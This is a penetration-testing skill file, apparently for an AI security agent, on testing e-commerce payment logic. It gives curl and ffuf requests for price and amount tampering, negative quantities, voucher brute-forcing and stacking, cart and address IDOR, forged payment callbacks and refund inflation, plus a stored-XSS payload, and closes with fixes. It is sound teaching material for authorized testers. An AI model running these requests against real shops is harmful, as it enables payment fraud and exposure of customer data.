---
name: testing-ecommerce-and-payment-logic-d6006992d012
description: Testing business-logic flaws in e-commerce and payment flows including price/product tampering,
  quantity abuse, voucher and gift-card manipulation, cart and shipping IDOR, payment-method and amount tampering,
  currency swaps, refund manipulation, and out-of-stock ordering.
domain: cybersecurity
subdomain: web-application-security
tags:
- penetration-testing
- business-logic
- ecommerce
- payment
- price-tampering
- voucher-abuse
- web-security
version: '1.0'
author: Krishna Kumar (xalgord)
license: Apache-2.0
nist_csf:
- PR.PS-01
- ID.RA-01
- PR.DS-10
- DE.CM-01
---

# Testing E-commerce and Payment Logic

## When to Use

- During authorized penetration tests of online shops, marketplaces, booking systems, and checkout/payment flows
- When the application calculates price, totals, discounts, shipping, tax, or stock and trusts client-supplied values
- For validating that authorization and server-side recomputation protect carts, orders, vouchers, and payments
- When testing voucher/gift-card systems, refunds, cancellations, and multi-step payment hand-offs to gateways
- During bug bounty programs targeting business-logic and broken-access-control issues with direct financial impact

## Prerequisites

- **Authorization**: Written penetration testing agreement; payment testing must use sandbox/test gateways and test cards only
- **Test payment credentials**: Gateway sandbox keys, test PANs (e.g. 4111 1111 1111 1111), and confirmation that no real charges occur
- **Two shopper accounts**: An attacker account and a victim account to prove cart/address/order IDOR
- **Burp Suite**: Repeater for tampering each step, plus history to map the full purchase funnel
- **A baseline legitimate order**: One clean end-to-end purchase captured so every tampered request can be diffed against it

## Critical: Checks Most Often Missed

E-commerce bugs are logic bugs: the server trusts a value it should recompute, or
skips an authorization check between steps. Work this checklist on every flow:

- **Price/amount in the request body.** Look for `price`, `amount`, `total`,
  `unit_price` in add-to-cart, checkout, or the gateway hand-off. Lower it and
  see if the order/charge honors the client value instead of the catalog price.
- **Negative quantity / negative amount = credit.** Set `quantity=-1` or
  `amount=-100`. Buggy totals subtract, producing a credit, refund, or
  balance increase. Also test very large quantities for integer overflow on price.
- **The main request and the sub-request can disagree.** Many checkouts send the
  amount to the app AND separately to the gateway (or in a signed token vs a
  display field). Tamper the amount in ONE of them — confirm whether the
  app charges the displayed value but records the tampered one, or vice-versa.
- **Voucher logic: reuse, stacking, guessing, count/value tamper.** Re-apply a
  single-use voucher after order completion; stack the same code via parameter
  pollution (`code=X&code=X`); brute-force short/sequential codes; tamper the
  discount `value`/`percent`/`count` fields directly.
- **Currency swap.** Change `currency=USD` to `currency=INR`/`IDR` while keeping
  the numeric amount — pay 100 in a weaker unit for a 100 USD item, or exploit
  rounding between currencies.
- **Cart / address / order IDOR.** Add to, view, or delete items in *another
  user's* cart; read/modify someone else's saved shipping address; view/track
  another user's order by ID. Pair with stored XSS in the address fields.
- **Payment-method downgrade.** Force `payment_method=COD` (cash on delivery) or
  `payment_status=paid` on an order that was never paid, skipping the gateway.
- **Refund / cancellation amount manipulation.** Request a refund for more than
  paid, refund an already-refunded order, or cancel-and-keep by tampering the
  refund amount or order state transition.
- **Out-of-stock / inventory bypass.** Order quantities beyond stock, or replay
  the purchase of a sold-out/limited item; combine with a race condition on
  stock decrement.
- **Step-skipping & state confusion.** Jump straight to "order confirmed" or
  "payment success" callback without completing payment; replay a gateway
  success callback to mark unpaid orders paid.
- **Sensitive data exposure.** Check whether responses leak full PAN, CVV, or
  store CVV at all — storing/returning CVV is a direct PCI-DSS violation.

## Workflow

### Step 1: Map the Purchase Funnel

Capture one clean end-to-end order and enumerate every state-changing request.

```text
# With Burp recording, complete a full legitimate purchase as the attacker
# account and list each step + the fields it carries:
#  1. GET  /product/{id}                 -> catalog price
#  2. POST /cart/add        {product_id, quantity, price?}
#  3. GET  /cart            {items[], subtotal, total}
#  4. POST /cart/voucher    {code}
#  5. POST /checkout/address{address_id | address fields}
#  6. POST /checkout/shipping{method, cost}
#  7. POST /checkout/pay    {amount, currency, payment_method, order_id}
#  8. (gateway redirect / callback) /payment/callback {status, amount, sig}
#  9. GET  /order/{id}      {status, total, paid}
# Mark every field the CLIENT supplies that the SERVER should compute.
```

### Step 2: Price and Product Tampering

Test whether the server recomputes price from the catalog or trusts the client.

```bash
# (a) Lower the unit price during add-to-cart:
curl -s -X POST -H "Authorization: $TOKEN_A" -H "Content-Type: application/json" \
  -d '{"product_id":501,"quantity":1,"price":1.00}' \
  "https://shop.example.com/api/cart/add"
# Then GET /cart and check whether total reflects 1.00 instead of catalog price.

# (b) Product ID swap: pay for a cheap item, receive an expensive one by
#     pointing the line item / SKU at a high-value product after pricing:
curl -s -X POST -H "Authorization: $TOKEN_A" -H "Content-Type: application/json" \
  -d '{"cart_item_id":"abc","product_id":999}' \
  "https://shop.example.com/api/cart/update"
# 999 = high-value product; total still reflects the original cheap line.

# (c) Amount tamper at the gateway hand-off (the high-impact one):
curl -s -X POST -H "Authorization: $TOKEN_A" -H "Content-Type: application/json" \
  -d '{"order_id":"o-1001","amount":1.00,"currency":"USD"}' \
  "https://shop.example.com/api/checkout/pay"
# Confirm whether the captured charge is 1.00 while order shows full value.
```

### Step 3: Quantity Abuse (Including Negative Credit)

Manipulate quantity to drive totals negative or overflow.

```bash
# Negative quantity -> negative line total -> credit / reduced grand total:
curl -s -X POST -H "Authorization: $TOKEN_A" -H "Content-Type: application/json" \
  -d '{"product_id":501,"quantity":-3}' \
  "https://shop.example.com/api/cart/add"
# Check if subtotal/total drops below the price of other items (free goods).

# Mixed cart: add an expensive item (+1) and a cheap item with large negative qty
# to zero out or invert the grand total.

# Integer overflow on price * quantity:
-d '{"product_id":501,"quantity":2147483647}'   # may wrap to a small/negative total

# Fractional / string quantities the backend may mis-handle:
-d '{"product_id":501,"quantity":0.0001}'
-d '{"product_id":501,"quantity":"1e-5"}'
```

### Step 4: Voucher and Gift-Card Manipulation

Test reuse, stacking, guessing, and direct value tampering.

```bash
# (a) Reuse a single-use voucher after the first order completes:
curl -s -X POST -H "Authorization: $TOKEN_A" -H "Content-Type: application/json" \
  -d '{"code":"WELCOME50"}' "https://shop.example.com/api/cart/voucher"
# Apply, checkout, then apply the SAME code on a second order.

# (b) Stack the same voucher twice via parameter pollution / repeated apply:
curl -s -X POST -H "Authorization: $TOKEN_A" \
  --data 'code=WELCOME50&code=WELCOME50' \
  "https://shop.example.com/api/cart/voucher"
# Or call the apply endpoint twice and confirm the discount doubles.

# (c) Brute-force / guess short or sequential codes:
ffuf -u "https://shop.example.com/api/cart/voucher" -X POST \
  -H "Authorization: $TOKEN_A" -H "Content-Type: application/json" \
  -d '{"code":"FUZZ"}' -w codes.txt -mr '"discount"' -t 10 -rate 20

# (d) Tamper the voucher value/count/percent directly if client-supplied:
-d '{"code":"WELCOME50","discount_value":99999,"count":5}'
-d '{"code":"WELCOME50","percent":100}'

# (e) Gift-card balance tamper: apply a card and alter its balance field, or
#     redeem the same gift-card code concurrently (race) to double-spend.
```

### Step 5: Cart, Address, and Order IDOR (+ Stored XSS)

Test object-level authorization across users on shopping objects.

```bash
# Cart IDOR: add to / view / delete items in User B's cart with User A's token:
curl -s -H "Authorization: $TOKEN_A" \
  "https://shop.example.com/api/cart/CART_ID_OF_USER_B"
curl -s -X DELETE -H "Authorization: $TOKEN_A" \
  "https://shop.example.com/api/cart/CART_ID_OF_USER_B/items/77"

# Shipping-address IDOR: read or overwrite another user's saved address:
curl -s -H "Authorization: $TOKEN_A" \
  "https://shop.example.com/api/addresses/ADDR_ID_OF_USER_B"
curl -s -X PUT -H "Authorization: $TOKEN_A" -H "Content-Type: application/json" \
  -d '{"line1":"redirected","city":"x"}' \
  "https://shop.example.com/api/addresses/ADDR_ID_OF_USER_B"

# Stored XSS in address/order fields (renders in admin order dashboard / invoice):
-d '{"line1":"<script>alert(document.domain)</script>","city":"x","zip":"00000"}'

# Order-tracking IDOR: enumerate order IDs to read others' orders/PII:
for id in $(seq 1000 1010); do
  curl -s -o /dev/null -w "order $id: %{http_code}\n" \
    -H "Authorization: $TOKEN_A" "https://shop.example.com/api/order/$id"
done
```

### Step 6: Payment-Method, Currency, Refund, and Stock Abuse

Tamper the money-moving steps and inventory controls.

```bash
# Payment-method downgrade -> force COD / mark paid without paying:
curl -s -X POST -H "Authorization: $TOKEN_A" -H "Content-Type: application/json" \
  -d '{"order_id":"o-1001","payment_method":"COD"}' \
  "https://shop.example.com/api/checkout/pay"
-d '{"order_id":"o-1001","payment_status":"paid"}'      # state tamper

# Replay/forge the gateway success callback to confirm an unpaid order:
curl -s -X POST "https://shop.example.com/api/payment/callback" \
  -H "Content-Type: application/json" \
  -d '{"order_id":"o-1001","status":"success","amount":1.00}'
# Confirm whether the callback signature is verified.

# Currency swap (same numeric amount, weaker currency):
-d '{"order_id":"o-1001","amount":100,"currency":"IDR"}'   # vs USD item

# Refund manipulation -> refund more than paid / re-refund:
curl -s -X POST -H "Authorization: $TOKEN_A" -H "Content-Type: application/json" \
  -d '{"order_id":"o-1001","refund_amount":500.00}' \
  "https://shop.example.com/api/order/o-1001/refund"   # paid only 50

# Out-of-stock ordering / inventory bypass:
-d '{"product_id":888,"quantity":100}'   # 888 has 0 stock; does it accept?

# CVV/PAN exposure check (PCI): inspect responses for stored/echoed card data:
curl -s -H "Authorization: $TOKEN_A" "https://shop.example.com/api/order/o-1001" \
  | grep -iE '"cvv"|"cvc"|"pan"|"card_number"'
```

## Key Concepts

| Concept | Description |
|---------|-------------|
| **Price/amount tampering** | Server trusts a client-supplied price/total instead of recomputing from the catalog |
| **Negative quantity/amount** | Negative values invert totals into credits or free goods |
| **Main vs sub-request mismatch** | Amount differs between the app order and the gateway charge/callback |
| **Voucher stacking/reuse** | Applying a single-use or single-instance discount multiple times |
| **Cart/address/order IDOR** | Accessing or modifying another user's shopping objects via predictable IDs |
| **Payment-method downgrade** | Forcing COD or a "paid" state to bypass actual payment |
| **Currency swap** | Keeping the numeric amount while changing to a weaker currency |
| **Refund manipulation** | Refunding more than paid, re-refunding, or cancel-and-keep state abuse |
| **Inventory bypass** | Ordering out-of-stock/limited items, often combined with a stock race |

## Tools & Systems

| Tool | Purpose |
|------|---------|
| **Burp Suite (Repeater)** | Tamper each funnel step: price, quantity, voucher, amount, currency, refund |
| **Burp Intruder / ffuf** | Brute-force/guess voucher and gift-card codes; enumerate order IDs |
| **Gateway sandbox (Stripe/Adyen/etc. test mode)** | Safe payment testing with test cards, no real charges |
| **Turbo Intruder** | Race conditions on voucher redemption, gift-card spend, and stock decrement |
| **Two test accounts** | Prove cart/address/order IDOR with cross-user requests |
| **jq** | Diff legitimate vs tampered order/cart responses for total/state changes |

## Common Scenarios

### Scenario 1: Gateway Amount Tamper
The checkout sends `amount` to the payment gateway from the client. Lowering it to 1.00 charges the card 1.00 while the order is fulfilled at full value, because the server never reconciles the captured amount with the order total.

### Scenario 2: Voucher Stacking via Parameter Pollution
A single-use 50% code is applied twice with `code=X&code=X`, compounding the discount to effectively free goods because each apply is processed independently.

### Scenario 3: Negative Quantity Credit
Adding an item with `quantity=-2` subtracts from the grand total, letting the attacker zero out the cart or generate store credit at checkout.

### Scenario 4: Shipping-Address IDOR + Stored XSS
A user updates another customer's saved address via a predictable `address_id`, redirecting their shipments, and injects `<script>` that fires in the admin order dashboard that renders addresses unescaped.

### Scenario 5: Forged Payment Callback
Replaying the gateway success callback with `status=success` marks an unpaid order as paid because the callback signature is not verified server-side.

## Output Format

```
## E-commerce / Payment Logic Finding

**Vulnerability**: Payment Amount Tampering (client-controlled charge)
**Severity**: Critical (CVSS 9.1)
**Location**: POST /api/checkout/pay  (field: amount)
**OWASP Category**: A04:2021 - Insecure Design / A01:2021 - Broken Access Control

### Reproduction Steps
1. Add product 501 (catalog price 499.00) to cart and proceed to checkout
2. Intercept POST /api/checkout/pay and change "amount":499.00 to "amount":1.00
3. Complete payment in the gateway sandbox; card is charged 1.00
4. GET /api/order/{id} shows status "paid" with total 499.00 and the item shipped
5. Server did not reconcile captured amount against order total

### Issues Confirmed
| Test | Result |
|------|--------|
| Price tamper in cart/add | Honored client price |
| Gateway amount tamper | Charged 1.00 for 499.00 item |
| Negative quantity | Produced negative line total |
| Voucher reuse (single-use) | Re-applied on second order |
| Voucher stacking (code=X&code=X) | Discount doubled |
| Cart/address/order IDOR | Cross-user access confirmed |
| Forged payment callback | Marked unpaid order paid |
| CVV in order response | Not exposed |

### Impact
- Direct financial loss: goods purchased far below price / for free
- Store-credit generation via negative quantities and over-refunds
- Exposure and modification of other customers' carts, addresses, and orders
- Order fulfillment without genuine payment via callback forgery

### Recommendation
1. Recompute every price, total, tax, shipping, and discount server-side from
   trusted catalog data; never trust client-supplied amounts.
2. Reconcile the gateway-captured amount/currency against the order before
   fulfilment; verify and sign all payment callbacks.
3. Reject non-positive quantities; enforce integer bounds to prevent overflow.
4. Enforce voucher single-use, per-user limits, and atomic redemption; ignore
   duplicate/polluted parameters; use long random non-sequential codes.
5. Apply object-level authorization to carts, addresses, and orders; use
   non-enumerable IDs and escape all stored fields rendered in dashboards.
6. Restrict refund amounts to the captured total and guard order state
   transitions; never store or return CVV (PCI-DSS).
```


---
Source attribution: xalgord
Original project: https://github.com/xalgord/xalgorix/blob/cec44d71b1d998208e1e2091982d0ee2f928041f/internal/tools/skills/data/web-application-security/testing-ecommerce-and-payment-logic/SKILL.md
License: Apache-2.0
License information: https://www.apache.org/licenses/LICENSE-2.0
Original upstream instructions; downloaded from Mega AI Hub.

## Upstream license notice


                                 Apache License
                           Version 2.0, January 2004
                        http://www.apache.org/licenses/

   TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION

   1. Definitions.

      "License" shall mean the terms and conditions for use, reproduction,
      and distribution as defined by Sections 1 through 9 of this document.

      "Licensor" shall mean the copyright owner or entity authorized by
      the copyright owner that is granting the License.

      "Legal Entity" shall mean the union of the acting entity and all
      other entities that control, are controlled by, or are under common
      control with that entity. For the purposes of this definition,
      "control" means (i) the power, direct or indirect, to cause the
      direction or management of such entity, whether by contract or
      otherwise, or (ii) ownership of fifty percent (50%) or more of the
      outstanding shares, or (iii) beneficial ownership of such entity.

      "You" (or "Your") shall mean an individual or Legal Entity
      exercising permissions granted by this License.

      "Source" form shall mean the preferred form for making modifications,
      including but not limited to software source code, documentation
      source, and configuration files.

      "Object" form shall mean any form resulting from mechanical
      transformation or translation of a Source form, including but
      not limited to compiled object code, generated documentation,
      and conversions to other media types.

      "Work" shall mean the work of authorship, whether in Source or
      Object form, made available under the License, as indicated by a
      copyright notice that is included in or attached to the work
      (an example is provided in the Appendix below).

      "Derivative Works" shall mean any work, whether in Source or Object
      form, that is based on (or derived from) the Work and for which the
      editorial revisions, annotations, elaborations, or other modifications
      represent, as a whole, an original work of authorship. For the purposes
      of this License, Derivative Works shall not include works that remain
      separable from, or merely link (or bind by name) to the interfaces of,
      the Work and Derivative Works thereof.

      "Contribution" shall mean any work of authorship, including
      the original version of the Work and any modifications or additions
      to that Work or Derivative Works thereof, that is intentionally
      submitted to Licensor for inclusion in the Work by the copyright owner
      or by an individual or Legal Entity authorized to submit on behalf of
      the copyright owner. For the purposes of this definition, "submitted"
      means any form of electronic, verbal, or written communication sent
      to the Licensor or its representatives, including but not limited to
      communication on electronic mailing lists, source code control systems,
      and issue tracking systems that are managed by, or on behalf of, the
      Licensor for the purpose of discussing and improving the Work, but
      excluding communication that is conspicuously marked or otherwise
      designated in writing by the copyright owner as "Not a Contribution."

      "Contributor" shall mean Licensor and any individual or Legal Entity
      on behalf of whom a Contribution has been received by Licensor and
      subsequently incorporated within the Work.

   2. Grant of Copyright License. Subject to the terms and conditions of
      this License, each Contributor hereby grants to You a perpetual,
      worldwide, non-exclusive, no-charge, royalty-free, irrevocable
      copyright license to reproduce, prepare Derivative Works of,
      publicly display, publicly perform, sublicense, and distribute the
      Work and such Derivative Works in Source or Object form.

   3. Grant of Patent License. Subject to the terms and conditions of
      this License, each Contributor hereby grants to You a perpetual,
      worldwide, non-exclusive, no-charge, royalty-free, irrevocable
      (except as stated in this section) patent license to make, have made,
      use, offer to sell, sell, import, and otherwise transfer the Work,
      where such license applies only to those patent claims licensable
      by such Contributor that are necessarily infringed by their
      Contribution(s) alone or by combination of their Contribution(s)
      with the Work to which such Contribution(s) was submitted. If You
      institute patent litigation against any entity (including a
      cross-claim or counterclaim in a lawsuit) alleging that the Work
      or a Contribution incorporated within the Work constitutes direct
      or contributory patent infringement, then any patent licenses
      granted to You under this License for that Work shall terminate
      as of the date such litigation is filed.

   4. Redistribution. You may reproduce and distribute copies of the
      Work or Derivative Works thereof in any medium, with or without
      modifications, and in Source or Object form, provided that You
      meet the following conditions:

      (a) You must give any other recipients of the Work or
          Derivative Works a copy of this License; and

      (b) You must cause any modified files to carry prominent notices
          stating that You changed the files; and

      (c) You must retain, in the Source form of any Derivative Works
          that You distribute, all copyright, patent, trademark, and
          attribution notices from the Source form of the Work,
          excluding those notices that do not pertain to any part of
          the Derivative Works; and

      (d) If the Work includes a "NOTICE" text file as part of its
          distribution, then any Derivative Works that You distribute must
          include a readable copy of the attribution notices contained
          within such NOTICE file, excluding those notices that do not
          pertain to any part of the Derivative Works, in at least one
          of the following places: within a NOTICE text file distributed
          as part of the Derivative Works; within the Source form or
          documentation, if provided along with the Derivative Works; or,
          within a display generated by the Derivative Works, if and
          wherever such third-party notices normally appear. The contents
          of the NOTICE file are for informational purposes only and
          do not modify the License. You may add Your own attribution
          notices within Derivative Works that You distribute, alongside
          or as an addendum to the NOTICE text from the Work, provided
          that such additional attribution notices cannot be construed
          as modifying the License.

      You may add Your own copyright statement to Your modifications and
      may provide additional or different license terms and conditions
      for use, reproduction, or distribution of Your modifications, or
      for any such Derivative Works as a whole, provided Your use,
      reproduction, and distribution of the Work otherwise complies with
      the conditions stated in this License.

   5. Submission of Contributions. Unless You explicitly state otherwise,
      any Contribution intentionally submitted for inclusion in the Work
      by You to the Licensor shall be under the terms and conditions of
      this License, without any additional terms or conditions.
      Notwithstanding the above, nothing herein shall supersede or modify
      the terms of any separate license agreement you may have executed
      with Licensor regarding such Contributions.

   6. Trademarks. This License does not grant permission to use the trade
      names, trademarks, service marks, or product names of the Licensor,
      except as required for reasonable and customary use in describing the
      origin of the Work and reproducing the content of the NOTICE file.

   7. Disclaimer of Warranty. Unless required by applicable law or
      agreed to in writing, Licensor provides the Work (and each
      Contributor provides its Contributions) on an "AS IS" BASIS,
      WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or
      implied, including, without limitation, any warranties or conditions
      of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A
      PARTICULAR PURPOSE. You are solely responsible for determining the
      appropriateness of using or redistributing the Work and assume any
      risks associated with Your exercise of permissions under this License.

   8. Limitation of Liability. In no event and under no legal theory,
      whether in tort (including negligence), contract, or otherwise,
      unless required by applicable law (such as deliberate and grossly
      negligent acts) or agreed to in writing, shall any Contributor be
      liable to You for damages, including any direct, indirect, special,
      incidental, or consequential damages of any character arising as a
      result of this License or out of the use or inability to use the
      Work (including but not limited to damages for loss of goodwill,
      work stoppage, computer failure or malfunction, or any and all
      other commercial damages or losses), even if such Contributor
      has been advised of the possibility of such damages.

   9. Accepting Warranty or Additional Liability. While redistributing
      the Work or Derivative Works thereof, You may choose to offer,
      and charge a fee for, acceptance of support, warranty, indemnity,
      or other liability obligations and/or rights consistent with this
      License. However, in accepting such obligations, You may act only
      on Your own behalf and on Your sole responsibility, not on behalf
      of any other Contributor, and only if You agree to indemnify,
      defend, and hold each Contributor harmless for any liability
      incurred by, or claims asserted against, such Contributor by reason
      of your accepting any such warranty or additional liability.

   END OF TERMS AND CONDITIONS

   APPENDIX: How to apply the Apache License to your work.

      To apply the Apache License to your work, attach the following
      boilerplate notice, with the fields enclosed by brackets "[]"
      replaced with your own identifying information. (Don't include
      the brackets!)  The text should be enclosed in the appropriate
      comment syntax for the file format. We also recommend that a
      file or class name and description of purpose be included on the
      same "printed page" as the copyright notice for easier
      identification within third-party archives.

   Copyright 2026 xalgord

   Licensed under the Apache License, Version 2.0 (the "License");
   you may not use this file except in compliance with the License.
   You may obtain a copy of the License at

       http://www.apache.org/licenses/LICENSE-2.0

   Unless required by applicable law or agreed to in writing, software
   distributed under the License is distributed on an "AS IS" BASIS,
   WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
   See the License for the specific language governing permissions and
   limitations under the License.



# Mega AI Hub resource metadata

Creator / publisher: xalgord
Original project: https://github.com/xalgord/xalgorix/blob/cec44d71b1d998208e1e2091982d0ee2f928041f/internal/tools/skills/data/web-application-security/testing-ecommerce-and-payment-logic/SKILL.md
Attribution basis: Source repository record

Fields of work: Marketing
Roles: Growth Marketer, Marketing Analyst, SEO Specialist
Specialties: Testing
Tools: Burp Suite
Country applicability: Country not specified
Classification basis: Source catalog labels
Instruction SHA-256: 43418502434f4655c1d0d1060bc54a5ce3c3ab8bed3e0910e2c73e952868645a